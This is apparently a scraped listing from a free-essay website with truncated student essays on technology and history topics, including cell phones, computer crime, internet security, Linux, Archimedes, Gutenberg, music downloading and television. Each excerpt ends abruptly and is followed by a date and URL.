helpful as it can help a lost camper to find his way back by just allowing him to make a call and ask for directions. Also, if certain areas of the city are considered to be dangerous, then using the payphone could be inconvenient and life threatening, therefore the cellular phone comes in hand and can help solve the problem. An example of this would be, my dad when he went on a business trip to Japan. As it is impossible to understand the language of a totally different culture and country, as it is also hard to get around. If it weren’t for the cellular phone, my dad would have had a very hard time to get around and to even get to work. At several incidents, he vividly remembers that even going for a walk could be puzzling, as everything around looks similar. Another absolute necessity would be for businessmen to use their cellular phones in order to conduct and to run their businesses. It is an absolute hassle if they do not carry it with them because a lot of important numbers, addresses, client names, and messages may be stored on it that helps them get through everyday work. On the other side of the spectrum, it helps the businessmen’s clients or visitors to have easy contact with him. An example of that would be my boss who I worked for during the summer as a secretary. He was supposed to meet with his client to discuss business over dinner. Up until the last hour just before the business dinner meeting, the client 2007-01-04T23:47:31-05:00 http://75.150.148.189/free-essay/The-Wide-World-of-Wireless-Communications-32236.aspx The Modern Expansion of Cellular Phone Use Over a decade ago the house phone was such a remarkable advancement where it provided a person to call places over thousands of miles away. Then the ease and comfort of wireless phones came out. Now, the invention of cellular phones (a mobile telephone) is an excellent device to do business or call out for help when you need to. While for others it is a failure, annoying and a cause of accidents. “Today, cellular phones have become a necessity in a person’s pocket.”(VanLaecken, H.). In According to the site (http://www.infoplease.com/ipa/A0108074.html), the last survey that was completed contained one million owners in 1999 of cellular telephones. A couple of years before that, cellular phones were very expensive, big, bulky, heavy and as colorless as black brief cases. Nowadays, they are inexpensive as before, small, thin, light and colorful, they were even installed in cars as accessories and part of their luxury. You can even browse on the Internet using your cellular telephone. I particularly chose this topic because wireless communication has been one of the major phenomenons for the past couple of years, it is growing incredibly fast and the future of this technology is unlimited. In my thesis I would like to state the question about the usage of cellular phones. How has the invention of cellular telephones affect our lives? Is it a necessity or a luxury? Never the less, there are necessary situations where the use of a cellular phone is needed, like being lost somewhere, a call has to be made in order to ask for directions, or a life threatening situation. Also, businessmen have the right to use cellular phones because it is crucially helpful and essential for their work. “Today, cellular phones have become a necessity in a person’s pocket.” (VanLaecken, H.) This statement was supported by the fact that cellular phones are part of a human being’s life which provide security during the running of their business, accessibility whenever needed for an emergency and provides necessary communication between others without being tied up to their desks. However, using a cellular phone at all times and leaving it to ring in public is considered irritating, it is also medically proven that it slows down pace makers, shuts them down or even speeds them up causing problems for the patients. In addition, it disrupts navigational systems on an aircraft, 2007-01-04T23:41:26-05:00 http://75.150.148.189/free-essay/The-Modern-Expansion-of-Cellular-Phone-Use-32235.aspx The Effects of Computer Criminals on Society Recently the world or more specifically the Western society has been dominated by something sophisticated enough to throw a civilization into a new era, a piece of hardware we call a computer. Computers have become an irreplaceable part of our lives and we end up dealing with them no matter where we go and what we do. Today computers control pretty much every aspect of our lives. They store and manipulate our funds, property, and personal information. As our society entered computer age, and so did crime. Why risk your life breaking into a store with a gun for few thousand dollars when now you can steal millions and even billions without getting up from a sofa in your own basement? It is obviously not as easy as it sounds, however combination of computer hardware and software makes it possible. Computers play a "double role" in today's world. Just like weapons they are used in both ways - to protect, and to attack. Attackers, victims, and security are the three major groups of people involved in today's cyber-struggle. An attacker in a digital world is called a hacker or a cracker. But who are these people and where do they come from? What motivates them and how serious of a threat are they today? Since the beginning of computing and early networking there has been a continued and increasing threat of information destruction, and theft of services. This threat has been identified as being a hacker threat. The original definition of a hacker was less negative. Hackers were the programmers who could get the most efficiency out of computers. Hackers, frequently writing programs in machine code, would minimize resource requirements delivering the maximum efficiency and utility out of systems that were memory bound. As computers evolved and basic networks were implemented through telecommunications companies, some hackers turned to unauthorized access of computer systems as a way of exploring technology. Today, the world of hacking is extremely large and it is difficult to divide it into categories. The criminal hacker or "black hat" hacker probes systems for unauthorized and illegal purposes. The majority of hackers are young people who are attracted to computers and to the underground outlaw image of hacking. They populate warez and hacker web sites searching for information, "how to" 2007-01-04T23:27:58-05:00 http://75.150.148.189/free-essay/The-Effects-of-Computer-Criminals-on-Society-32232.aspx Modern Questions of Computer Ethics on Information and Privacy The computer is considered one of the most technological advances of the twentieth century. As the general public becomes increasingly ‘computer literate,' the gap between technology and peoples' intellect notably shrinks. The readily available computers, software, and assorted output devices have enlightened many but, in turn, have increased the using of computers for unethical activities, privacy invasion and illegal purposes. Legal sanctions against abusive use of computers are a reactive approach. A proactive approach is to teach students about computer ethics in classrooms. An effective teaching method are the presentation of ethical scenarios. It is anticipated that through this method, students will personalize the need for developing ethical standards of behavior. The ultimate goal is for students, if necessary, to change their set of personal beliefs to include ethics. The computer is considered one of the most important technological advances of the twentieth century. Security and privacy issues have been in existence long before the computer became a vital component of organizations' operations. Nevertheless, the operating features of a computer make it a double-edged sword. Computer technologies with reliable error detection and recording capabilities, permit the invasion of a supposedly secure environment to occur on a grand scale and go undetected. Furthermore, computer and communications technology permit the invasion of a persons' privacy and likewise go undetected. Two forces threaten privacy: one, the growth of information technology with its enhanced capacity for surveillance, communication, computation, storage and retrieval and two, the more insidious threat, the increased value of information in decision making. Information has become more vital in the competitive environment, thus, decision makers covet it even if it violates another's privacy. Violation of ones personal privacy, via computers, may in part be due to the incomplete understanding of responsibility on the part of those involved. Is it a management or a technical concern? Ethical standards that evolved over the history of Western civilization deal with interpersonal relationships. What is right or wrong? What one should do and not do when dealing with other people. Ethical behavior in a business environment has not been as clearly defined. When businesses were small and the property of a few individuals, traditional ethical standards were applied to meet different situations. However, as businesses became larger, the interpersonal 2007-01-04T18:00:36-05:00 http://75.150.148.189/free-essay/Modern-Questions-of-Computer-Ethics-on-Info-and-Privacy-32214.aspx The Introduction of the Graphing Calculator The introduction of the graphing calculator has changed the structure of teaching and learning mathematics. This made it possible for everybody to receive the benefits of a computer-generated visualization without the high cost of a computer. These graphing calculators over the years have lowered in cost, became easier to use, and are more portable. The next generation of graphing computers has arrived with the recent introduction of the Texas Instrument TI-92. This relative inexpensive calculator will allow more high school teachers to teach an area mostly untouched, computer symbolic algebra and computer interactive geometry, because it has not been practical or possible. The TI-92 is merely the beginning of the new revolution of hand-held computing tools. The next challenge mathematics teachers are facing is the teaching of traditional paper-and-pencil symbolic algebra skills. This task has been made obsolete by the more accurate and faster computer symbolic algebra algorithms. Students can get a far better illustration of important concepts and applications of mathematics with these new hand-held tools than with the traditional paper-and-pencil task. The paper-and-pencil task and other traditional skills must still be acquired, but students should spend less time acquiring it. More emphasize must be put on computing tools. Students should take advantage of the computer technology to become powerful and thoughtful "problem solvers." The process of changing from traditional methods to a more computer-oriented environment has to be met by the education and mathematics community. Educators should have textbooks that better represents the new technology. Teachers need to be more technology literate. The mathematics community must dispel the image of "doing mathematics" with the traditional paper-and-pencil method. These reforms can better teach students important skills needed for the future. The use of technology in mathematics will give students an advantage mathematics and related technology. Students will need that advantage if they wish to compete in the twenty-first century. This article stressed very important issues educators, teachers, and the mathematics community must face. The reform will change the course of mathematics in school and elsewhere. As a student, I am very concern about the future of mathematics. My future plans will revolve around mathematics and technology. I understand the need to continue using the paper-and-pencil methods, but computing tools should be added to the current criteria. The future will be technologically intense and very competitive. Graphing 2006-12-29T16:59:10-05:00 http://75.150.148.189/free-essay/The-Introduction-of-the-Graphing-Calculator-32164.aspx Important Issues with Internet Security Internet security is a heightening concern with the high-speed Internet connections most consumers are going to. When you’re on the Internet you are open to a variety of security threats like viruses, Trojan horses, Identity theft, E-mail monitoring, Website monitoring, and even death in the worst-case scenarios. Virus can do a lot of damage to your system if you let them get on. They can delete files that are critical for your system to run properly. They can gather personal information from your files and send it out over the Internet, for somebody to steal your identity. There have even been instances where the virus uses your computer to transmit SPAM or Internet junk mail to millions of users. Viruses and Trojan horses are major concerns but they are fairly easy to protect yourself from. There are quite a few companies out there who make virus-scanning software that you load on your computer to prevent viruses from getting on. They usually run between twenty to forty dollars and come with one year of free updates. The free updates are extremely important because you should update your virus scanning software every fifteen days. By going with one of the major companies you are going to get faster updates because of their larger twenty-four seven staff. Virus should be your only concern though. With everybody switching over to high-speed Internet access it giving hackers and easier job target who they want to get. High-speed access varies a little from regular access. When you dial your ISP you are automatically assigned a random IP address for a modem and you will use that until you log off. Next time you get on though you will most likely have a different IP address making hard for a hacker to lock on and attack your computer. But with high-speed access your computer is assigned it own IP that never changes. Once they have your address they can pretty much do what ever they want unless your protect yourself. With dialup it’s like you move to a new house everyday. By doing so it’s going to be a lot harder for somebody to track you down. The high-speed access though is like staying in the same house for ten years. Everybody will know where you live. 2006-12-18T17:51:37-05:00 http://75.150.148.189/free-essay/Important-Issues-with-Internet-Security-32008.aspx The Debate between Windows and Linux Today ninety-five percent of home computing is under Microsoft Windows based software. This staggering figure gives the impression that Windows is the only stable operating system on the market. The truth is that Windows is not the fastest or the most stable operating system. What other options do users have? The alternative to the costly world of Windows software is called Linux. Linus Torvalds created the Linux operating system in the early 1990’s hoping it would bring about a revolution within the software industry. To date things have not changed rapidly, but they are beginning to inch forward. Many believe Linux is the answer to our home computing needs; performing well in all of the factors that choosing an operating system includes: cost, reliability, and, of coarse, the availability of applications within that software. One factor when comparing operating systems is the cost itself and the cost of the programs that run within it. Windows software is on average very expensive. Programs that run within Windows often cost hundreds and even thousands of dollars, while Linux software is free for the most part. To understand this you must first understand that all programs run on source code, or sets of instructions used to navigate and utilize computer resources. Windows chooses to keep their source code private, while Linux offers source code free to the public. What does this mean to you? It means that for the most part Linux software is free. A lot of the same people writing programs for Windows based software write Linux based software as well. As the world becomes more dependant upon computers in our daily lives the cost of the software we use will become much more prevalent. The second, and probably most important factor, is the reliability of the software your computer runs on. Windows is quite a large operating system, and often allocates computer resources at an alarming rate. Windows tends to slow down not only the memory, but at times the processor as well. Linux on the other hand, utilizes a computer in a way that minimizes both memory and processor usage giving your computer speed. Speed is one of the main factors advocates of Linux use to promote it. The stability of the operating system comes directly from its’ clean and organized use of memory. Many people argue that Linux has its’ problems, but in 2006-11-15T02:56:23-05:00 http://75.150.148.189/free-essay/The-Debate-between-Windows-and-Linux-31737.aspx The Job of a Computer Programmer Computer programming is the job of the future. A computer programmer’s main task is to put the code that tells the computer what to do into the computer. Computer programming consists of two areas: systems and applications programmers. Systems programmers put the codes into the main system of the computer. Applications programmers work with one type of software or computer applications and code them. It is rare that you will see someone specializing in both types of programming, since each of the two programmers have to know entirely different skills (Princeton Review Guide to Your Careers). In both types of computer programming, you need to have the basic skills of typing and computer repairs (Occupational Outlook Handbook, 332). Systems programmers need to have the skills and be familiar with hardware specifications and designs, memory management and structure. Applications programmers do not need to know these skills, but they do need to know the following: standard interface protocols, data structure, program architecture, and response speed (Princeton Review Guide to Your Careers). Personally, I know the basic skills of keyboarding and some minimal repairs, but after that I do not know many of the other skills needed for this profession. The responsibilities of a computer programmer are basically the same as most working responsibilities. You have to show up to work on time, do your job as you are expected, and listen to your boss (Grolier Encyclopedia). I do not mind any of these responsibilities, so I would be able to follow these without any problems. A bachelor’s degree is necessary to be a computer programmer. Although optional, it is recommended that you take basic and advanced programming, some technical computer science classes, and logic or systems architecture (Princeton Review Guide to Your Careers). In high school, I can take basic computer courses like keyboarding and computer skills. After high school I can take some college courses and computer classes related to computer programming. To be a certified computer programmer you need a bachelor’s degree. The work environment is easy to work in. It is indoors-the way I like it. Most of the time it is comfortable (Occupational Outlook Handbook, 332). The working hours are normally nine hours unless you need 2006-11-04T18:52:09-04:00 http://75.150.148.189/free-essay/The-Job-of-a-Computer-Programmer-31691.aspx Differences Between Mac and PC Users In today’s computer age, there are two different types of people, Macintosh users and PC users. Both are very passionate about their computer and form an allegiance towards them. This allegiance places the person in a “computer paradigm”. Many people never even think about switching from a PC to a Mac or vise versa. A switch would be a change and people are naturally afraid of change, especially when they already have to change the software on their computer regularly because of changes in technology. Its even harder to switch when a person has become brand oriented towards computers, or thinking one is better than the other just because its a certain brand. At some point in a person’s life they encounter computers for the first time. This encounter has a dramatic affect on that person. Was it a good experience? Was it a bad experience? Did they understand immediately how it functioned or did they need instruction? All of these factors place a person in a computer paradigm. For example: If a person was first introduced to a Macintosh and immediately picked up on how it worked, they would most likely become a Mac person. Or maybe the person never figured out how to work a Mac, but understood how a PC operated. Then most likely the person would become a PC user. The computer paradigm a person falls into all depends on their first experience with a computer. However, most paradigms shift at some point. If a person is forced to switch out of their paradigm they will go against their prior beliefs. For example: If a person starts to work for a Macintosh based company, and they are a PC user, they may be forced out of their paradigm. Since using a PC in a Mac based company would be inefficient software wise, the person would have to learn the new software. Perhaps the person would accept the new paradigm and become a total Mac user, or stay in their current PC paradigm and only use a Mac only when forced to. A paradigm switch can either be voluntary or involuntary. It depends on the circumstances that the person is in when they have the chance to switch paradigms. 2006-10-28T18:46:59-04:00 http://75.150.148.189/free-essay/Differences-Between-Mac-and-PC-Users-31574.aspx Archimedes was a Greek mathematician and scientist. He was born in Syracuse, Sicily in the year 287 B.C. He was educated in Alexandria, Egypt. Due to the lack of information about Greek mathematics, many Greek mathematicians and their works are hardly known. Archimedes is the exception. Archimedes was very preoccupied with mathematics. For instance, he often forgot to eat and bathe because of his always wanted to solve problems. He found areas and volumes of spheres, cylinders and plain shapes. He showed that the volume of a sphere is two-thirds of the volume of the smallest cylinder that can contain the sphere. Archimedes was so proud of this concept that he requested that a cylinder enclosed a sphere, with an explanation of this concept, be engraved on his grave. Archimedes also gave a method for approximating pi. He was able to estimate the value of pi between 3 10/71 and 3 1/7. Math wasn�t as sophisticated enough to find out the exact pi (3.14). Archimedes was finding square roots and he found a method based on the Greek myriad for representing numbers as large as 1 followed by 80 million billion zeros. One of Archimedes accomplishments was his creation of the lever and pulley system. Archimedes proved his theory of the lever and pulley to the king by moving a ship, of the royal fleet, back into the ocean. Then, Archimedes moved the ship into the sea with only a few movements of his hand, which caused a lever and pulley device to move the ship. This story has become famous because Archimedes said, "Give me a place to stand on and I will move the earth. Another invention he invented was the Archimedean screw. This machine was built for raising water to highland areas in Egypt that could not receive water directly from the Nile River. This device is still used today for irrigation purposes even is some countries today. The most famous story of Archimedes life involves the discovery of Archimedes' Principle. The story begins when King Hieron asking a goldsmith to construct a gold wreath to the immortal gods. After some time, the king came to suspect that the wreath was not pure gold but rather filled with silver. In order to end his suspicion, the king asked Archimedes to determine whether the wreath was pure gold or filled with gold without destroying it. Archimedes agreed to 2006-09-19T21:15:11-04:00 http://75.150.148.189/free-essay/Archimedes-Biography--31446.aspx In the late 1960’s Don Mclean wrote the song “American Pie.” The song was a profound description of what was taking place in the music scene of the times. Music was changing and to some it was believed to be dying as well. Because of the onset of rock and roll and the farewell to wholesome musicians like Buddy Holly and Ritchie Valens many felt that the music industry was failing to do the job that it had always accomplished up until that point. The loss of good-old-American melody left consumers feeling unsure and skeptical of what was to come in the future. Jump ahead forty some years and entirely new perspective of music is sweeping the nation. People young and old alike now enjoy the capabilities of having music at their fingertips. Today Grandma can get online and listen to her favorite “oldies” while junior might be in his bedroom downloading the latest new release from a alternative rock band. Mom and dad can burn a CD with all of the songs they listened to when they first met and even create a soothing soundtrack for baby that will help carry him off to dreamland. So, is music really dead as Don Mclean predicted so many years ago? It seems as if music is truly alive and more versatile then ever. With so many products and services Heininge 2 beckoning consumers to take control of their own listening enjoyment the future of music appears to have more promise then any other generation and the possibilities are endless as to what can be accomplished. The combination of computer technology and music has taken all types of music to a new level of possibilities. Before the innovation of computers listeners were limited in their ways of obtaining music. The usual method of getting a desired album in the 1980’s required the customer to drive down to a record store, look for the album they wished to purchase, contend with the mobs of people by standing in line and so on. Music was usually in the form of a record, 8 track, or tape deck. These forms of music were scratchy, inconsistent and required the listener to find individual tracks by fast-forwarding. This was definitely low-tech. Today music is digitalized, has premium quality sound and has the ease of skipping tracks or customizing play lists. MP3 players, a device that can hold almost 2006-08-31T20:54:25-04:00 http://75.150.148.189/free-essay/MP3-Players-and-Music-Today-Is-Music-Still-Alive-31420.aspx Johann Gutenberg and the Invention of the Printing Press Johann Gutenberg, thought to be the father of modern printing, lived from about 1400 to 1467, where he died at Mainz. He was the son of a coin maker, which may have perhaps influenced him while working around those machines all day. In 1430, Gutenberg and his family migrated to Strasburg, because of political difficulties at the time. There he starting teaching students of his trades, including, gem polishing, making looking glasses, and the printing press. Gutenberg perfected his printing press around the year 1450, this coming at great expenses. Seeing that he was in desperate need of money Gutenberg made friends with Johann Fust of Mainz. He needed him to fund Gutenberg’s first printed book, “The 42 line Bible”. He finished the Bible in 1455. After finishing the Bible, all of the people that had loaned him money over the years to perfect this invention came for their pay back. Gutenberg spent the rest of his life in and out of court. After he died he was buried in the Franciscan church, which no longer exists. A cloud of mystery hangs over the inventor’s life though. The only thing we truly know is, that for the most part of his existence he, his personality, the place of his invention, and particularly the part he personally took in the production of the printed works that have, come down to us from this period. However, there has been research that has thrown much light on the prnted works connected with the name of Gutenberg, and has established more definitely the nature of his invention. Mainly from the examinations of Gutenberg’s earliest work, Poem of the Last Judgment” and “The Calendar” were in 1448. But like I said before, there is controversy over Gutenberg. Some people believe that, the oldest dated printed book, known as, “The Diamond Sultra”, was produced in China in 868. It is also believed that the practice of this could have gone on for awhile before this. It is said that the Japanese and the Chinese regularly used wood blocks carved in relief to produce Buddhist charms as early as the fifth century. Almost six centuries later European’s began block printing. The influence of this in European culture is not known. Nevertheless the literary world 2006-08-31T18:07:00-04:00 http://75.150.148.189/free-essay/Johann-Gutenberg-and-the-Invention-of-the-Printing-Press-31410.aspx Issues from the emergence of the World Wide Web The emergence of the World Wide Web as a medium has posed a number of issues that challenge our traditional interpretations of copyrights. The digital technology of the World Wide Web makes copying original materials extremely simple and convenient for all users. Whenever you inspect a page your browser downloads the files that make up that page. Downloading constitutes copying materials since digital replicas of the text, images, etc. must be transmitted over a network to your computer in order to be viewed. These copies, however, are transient--the legal term is "ephemeral," meaning that they exist only temporarily. Even so, it is very easy to save these items in a more permanent state for other uses. That’s where the notion of intellectual property rights comes in… As you have probably noticed, a number of web pages contain external links to other pages. These links provide access to pages not stored on the referring page's local server. And, different authors usually create these linked pages. Is this legal? Do we have to gain the permission of the author to use external links on our own web pages? Such uses are generally permissible due to the principle of implied public access. The fact that an author posts his or her pages on a publicly accessible server means that anyone is free to view it. Consequently, in most cases, we can legally create links to publicly accessible pages since it does nothing more than notify readers of its whereabouts. Authors may limit access to their own pages using various means. Pages may be protected so that only authorized users have access. However, extreme measures like these do not have to be taken. An author can either expressly prohibit links to his or her pages or object to those who have created such links. In these instances, posting external links on your own web pages would probably constitute improper use. For this reason, the safest policy is to notify or seek consent from authors when you create external links to their pages. Unfortunately, law and legal precedent are not clear cut on all of these matters. The current laws have evolved from older technologies and could hardly be expected to anticipate the realities of future ones. The digital technology of the World Wide Web severely challenges the rules of the game for the simple reason that it 2006-08-30T20:47:42-04:00 http://75.150.148.189/free-essay/Issues-from-the-Emergence-of-the-World-Wide-Web-31383.aspx The Threat of Terrorism in Cyber Space Experts believe fallout from September 11 could continue through computer infiltration. In the Internet Age, when communications speed across national boundaries, terrorist groups are winning the cyber space battle. Leading security experts predict that it is only several years before a terrorist or rouge nation is capable of an online hacker-style attack against the United States, causing massive failure of such crucial elements as banking for the financial markets, transportation systems, the power grid or telecommunications. A cyber terrorist can range from anti-American masterminds to co-workers. Fifteen year olds are breaking into systems, but many are worried about the forty-five year old who’s mad at the world and takes a company’s intellectual property. The Defense Department acknowledges hundreds of successful cyber attacks on its networks in recent years, some of which trace back to the Persian Gulf area. It is feared that cyber terrorists will turn our systems against us. For instance, if terrorists wanted to attack a coal-fired power plant, they might hack their way into a seemingly unrelated railroad computer system to shut down real traffic. That would prevent coal from reaching the plant. Some areas that are in danger of infiltration are: banking and financial services, telecommunications, electric power, oil and gas delivery, transportation, water, emergency services and government services. These are the essential, interdependent services upon which society relies, the kind of services upon which society relies, the kind of services that if disrupted, would create a series of cascading problems that would ripple across the nation. Cyber terrorism is not just as a future problem, but as a current threat to national security . In 1998, hackers tapped into NASA’s Jet Propulsion laboratory computer in Pasadena and accessed data about the commercial air traffic system. This intelligence could have told hackers the configuration of GPS navigation satellites and allowed them to jam the system during war. The hackers were also looking for information on stealth aircraft. The United States is left vulnerable to cyber terrorism for many reasons. The United States has a woefully inadequate investment in computer security. Few top researchers have been drawn to the field of computer security, which has remained essentially unchanged in its failed approaches since its inception. The federal government has no agency that is focused on, and responsible for ensuring that the necessary research and implementation are undertaken 2006-08-28T00:03:32-04:00 http://75.150.148.189/free-essay/The-Threat-of-Terrorism-in-Cyber-Space-31356.aspx Issues Surrounding Music Downloading File sharing is what it is thought as, but I don’t see it that way. I see it as theft, music theft, most commonly know as shafting. Every day people use shafting and think nothing of it. People sit in front of their computers and go to their favorite website and download file after file with out thinking how or where it comes from. They think it is just there for the taking and it is. What they don’t realize is that it is messing over the people who worked so hard pouring out their heart and sole into their music for everyone to enjoy. They are the people who are responsible for the music. Not the people who work at Napster, or any of the other shafting music networks, whom are embezzling from the people we all admire for the way they can flow out those heartwarming words. The words that move us to the point that we want to cry, and sometimes do. The words that we listen to when we want to go off into our own little world, and think about an extraordinary moment we once had that makes our sorrows disappear. The words that remind us of a passed loved one who was once forgotten, and never to be again. They are the people who put their heart and sole into their music; They are the people we use so selfishly and don’t even realize how much blood sweat and tears they shed just to put out quality words. They are the people we take for granted, and they are the people who some times take us, their fans, for granted as well, they are the artiest themselves. Shafting is a trend that has just begun, but only time will tell how far it will go. Shafting has gone further then anyone would have ever imagined. One man and his website, Napster are responsible for all of this, he has redefined the music industry forever. Napster has not only changed the music industry forever; it has also changed American culture forever. No more will anyone have to get up and go to a music store and over pay for a compact disk that only has a few songs you want on the disk. Since Napster was founded there have been many more websites that you can receive music from. These new websites not 2006-08-27T22:02:32-04:00 http://75.150.148.189/free-essay/Issues-Surrounding-Music-Downloading-31325.aspx The Future of Technology Technology in recent years has advanced very quickly. I remember just a few years ago using an Apple Computer where you had to type in commands for the computer to do anything. It also had very flimsy disks to run program, which could easily be damaged. Now we have computers that will almost run themselves. You no longer have to type in commands; you can either click on icons with your mouse or choose options from a menu. I believe technology is the 2006-08-13T09:55:29-04:00 http://75.150.148.189/free-essay/The-Future-of-Technology-31249.aspx Art And Technology Advances in technology over the years have brought about a phenomenon caused by the fusion of computers and art. The commercial and entertainment industries have been transformed and overtaken by the vast use and demand for computer art. From web design and layout to special effects and animation, the use of computers for art and the skills needed to produce such things are in high demand. Currently one of the most popular uses of computer art is through web design for the Internet. Whether it is for personal use, non-profit organizations, government programs, or commercial use, Web pages are popping up everywhere. So to best understand this development in computer art, especially in Web design, it is important to know exactly what art is, the benefits of Web design, and the history of how art and the internet have come together. With the progressions in technology and art and the high demands thereof it can be expected to only increase in popularity. Now, if you ask anyone what art is you are sure to get a different answer every time. Art is different things to all people. Some traditionalist scoff at the use of technology for art, while others insist it is the only way, and then there are those who believe everything in itself is a work of art. The saying that "beauty is in the eye of the beholder" can be applied to art as well. For the sake of a definition though, Webster's Dictionary defines art as "the conscious use of skill and creative imagination especially in the production of aesthetic objects." With an idea as to what might be considered art, look at it through the eyes of technology. Computer art can pretty much be defined the same as you would define any form of art. The only difference is the method in which it is produced, and it this case the medium obviously being the computer. Thousands of computer software programs exist to help create graphic images, animation, layout, web pages, and 3D images, such as: Photoshop, Fireworks, Lightwave, Director, Freehand, Quark Express, Inspire 3D and Illustrator. Currently two of the most popular software for creating Web pages are Flash and Dreamweaver, which help save time and reduce the need of having an extended knowledge of HTML. Programming languages such as 2006-08-06T00:04:54-04:00 http://75.150.148.189/free-essay/Art-And-Technology--31059.aspx Radio: The Past and The Present In the early days, about a century ago, there was few ways of mass communication. The only real source of mass communication was print. Every town or city had a local newspaper where all the information was released to everyone. But then there was a new invention, radio. Radio was an extremely influential part of everyday life, and still is in the 21st century. Most people credit the invention of radio to a man named Guglielmo Marconi. Although there were many people that contributed to the invention, he was the first man to actually find out how to broadcast sound waves and succeed. In 1902, Marconi held a lecture for the Society of Arts, which is where he discussed his technique that he called “Syntonic Wireless Telegraphy.” This is his theory of his states: "It is desirable that the induction coil should be in tune or syntony with the electrical oscillations transmitted, the most appropriate number of turns and most appropriate thickness of wire varying with the length of wave transmitted.” This is a quote that was made from Marconi in the early 1900’s. This is a timeline explaining all of the events that led up to the invention of radio. All of these occurrences are ones that helped in Marconi’s invention of one of the greatest mass communication devices, the radio. 1831 - Michael Faraday discovered the principle of electro-magnetic induction. 1842 - Joseph Henry discovers that an electrical spark between two conductors is able to induce magnetism in needles; this effect is detected at a distance of 30 meters. 1858 - Feddersen proves with his experiments the oscillating character of spark-discharges. 1867 - James Clerk Maxwell developed his theory on electro-magnetism and predicted the existence of electrical waves in the aether. 1870 - Von Bezold discovered interference with capacitor-discharges. 1879 - David E. Hughes discovered that a tube of iron filings becomes conductive by action at distance by electrical sparks, he makes a signal audible on a headphone on a distance of 500 meters, he stopped his experiments when Sir George Stokes professed that the appearances concerned just ordinary induction, he did not publish about his discovery. 1882 - Graham Bell en William H. Preece transmit signals across sea by means of induction, between England and the Isle Wight, at heat moment of a cable disorder. This system of Wireless Telegraphy does not develop on a large scale; the system 2006-08-05T15:30:58-04:00 http://75.150.148.189/free-essay/Radio-The-Past-and-The-Present-31047.aspx A History of Inventing New Technologies Wow I can’t believe what has been brought out in this new Industrial revolution of new Technology. This will change the world as we know it. No more stress or manual labor because coal has the energy to power our new steam engine. Thank you Thomas Newcomen for inventing the engine, which will change out Industrial revolution as we know it. Also this just up we’ve heard that iron has been Improved which will make it stronger and less expensive as well as being smelted with out being damaged. Britain has to play a big role in first to be industrialize it self. If you hadn’t heard, Britain has mass recourse of coal and iron. The economic conditions from 1600-1700’s were enormous trading slave, the business accumulated a capital, or money to invest in enterprises like shipping, mines rail roads, and factories. Good thing Britain has a awesome government that supports economic growth. Wow cotton is getting very popular in Britain as well as these major inventions. One of these was the spinning of thread which has been able to produce even faster with water frame and spinning Jenny in 1764. These new wonders were so big they are now all being operated in factories, which will be operated by spinners and weavers. Then eventually steam engines. As all this production was getting bigger so was the transportation for distributing these products. So the capitalist invested in turnpikes, which were privately built roads for travelers that used them. On land production of transportation was doing grate but now got even better with the steam locomotive. Which mean putting out all the products will be 10 times easier amazing! All this then brought about the steam boat by Robert Fulton, and that boat traveled up the Hudson river in New York. With all these new inventions and supply and demand will increase dramatically. Man who ever is the owner of some of these corporations or industries most be loaded with money. This is so cool now the New industrial city is coming about with mass rapid urbanization or the movement of city’s. which will create more business which = more workers. Some of these workers had no choice but to live in tenements. These poor people had to work long hours of hard labor in these factory’s. Many of those people suffered injuries and 2006-08-01T18:40:01-04:00 http://75.150.148.189/free-essay/A-History-of-Inventing-New-Technologies-30946.aspx Information on Interpersonal Communication Technology Interpersonal communication is a communication transaction involving two or more people, specifically in a personal relationship. Relationships are highly affective on all aspects of life. There are things that make up interpersonal communication as well as created during it. People have basic needs that they fulfill through interpersonal relationships of various kinds. We relate to others by sending messages and receiving them. The three main categories of need come in the forms of affection, inclusion , and control. Affection is "the need for positive regard" on many levels from others, as well as expressing it to them. Inclusion is the "desire to be part of the events and interactions around us." The desire to "feel secure and safe in our surrounding", is the need for control. Relationships are another aspect of interpersonal communication and can be analyzed as a part of the natural patterns in it. There are two parts to a relationship; coming together, and coming apart. Coming together has the following stages; initiation, experimentation, intensifying, integrating, and bonding. Coming apart has stages also; differentiating, circumscribing, stagnating, avoiding, and termination. Communication also has climates and conflicts. Climate is the general sense of the tone of an interaction. The positive or supportive behaviors include; description, equality, problem orientation, spontaneity, empathy, and provisionalism. The negative or defensive behaviors are; evaluation, superiority, control, strategy, neutrality, and certainty. Conflict is an expressed struggle between two or more interdependent people who perceive incompatible goals, scarce resources, and interference from others in achieving their goals. The four basic elements in conflict are; expression, interdependence, incompatibility, and interference. Conflict management is how we deal with our everyday, inevitable conflicting situations. The process of conflict management in a constructive way demands that you: be prepared, be involved, withhold quick retorts, and that you review and or summarize the situation and it's resolve out loud. Four strategies for managing conflict in the book "getting to yes" are: separate people from the problem, focus on interests not positions, generate a variety of options, have an objective and standard to judge the result. The five steps to improving interpersonal skills are: be assertive, be considerate, listen , develop language skills and to be supportive. Interpersonal communication is a tool to learn 2006-07-31T12:41:10-04:00 http://75.150.148.189/free-essay/Information-on-Interpersonal-Communication-Technology-30882.aspx A History of the Origins of Television For the first half of the twentieth century, the dominant media in western society had been newspapers, radio and cinema. Then, in the early 1920s, a man named John Logie Baird created the first television, which has since become the dominant media of the second half of the twentieth century. Television has had an immense impact on human society in many forms including sociality, knowledge, experience and leisure. After the first experimental broadcasts in America in the 1920s, the British Broadcasting Corporation was set up in 1922, however television broadcasting did not begin until 1936 when an estimated 23,000 people saw the first broadcasts. In 1939 television had ceased and was described as something that would amount to nothing. During the war the radio was extremely popular and this was the case for several years after as television sets were expensive and had limited broadcasting hours with poor receptions. The BBC was dominated by their director general, John Reith, who had negotiated a position where the BBC was independent from both the government and free from the pressures of market forces. For the BBC had an assured income from all those who owned radio receivers. Reith had established a corporation with aims to inform, educate and entertain the public as a whole, making available cultural experiences that they would otherwise not have seen [HOLLAND, 1997: Page 8]. Up until the 1950s the BBC had a monopoly on broadcasting and it wasn’t until 1951 that various criticisms began to emerge. The 1951 Beveridge report was critical of the stance and arrogance of the BBC and there were even reports suggesting that it should be discontinued. In 1953 the coronation of the Queen was broadcast live on the BBC easing the pains of the Beveridge report and causing a television boom. In 1950, only 4% of the population owned a television set, by 1960 the figure had risen to 80% [HOLLAND, 1997: Page 11]. A consumer society was emerging with developments in popular culture and a youth orientated society. The single biggest factor for the emergence of a consumer society was the post war economic boom. The Conservative Party using Keynesian economic policies introduced by Labour had just come into power. This meant a mixed economy based on a mixture of both free markets and government assisted growth. A boom in technology 2006-07-26T23:13:45-04:00 http://75.150.148.189/free-essay/A-History-of-the-Origins-of-Television-30685.aspx The Psychological Impact of Interactive Media on Society In today's society, computers and interactive media products have become one of the main needed and necessary products children have wanted, due to the quick passed, very exciting graphics and story lines in games have become a everyday activity in the 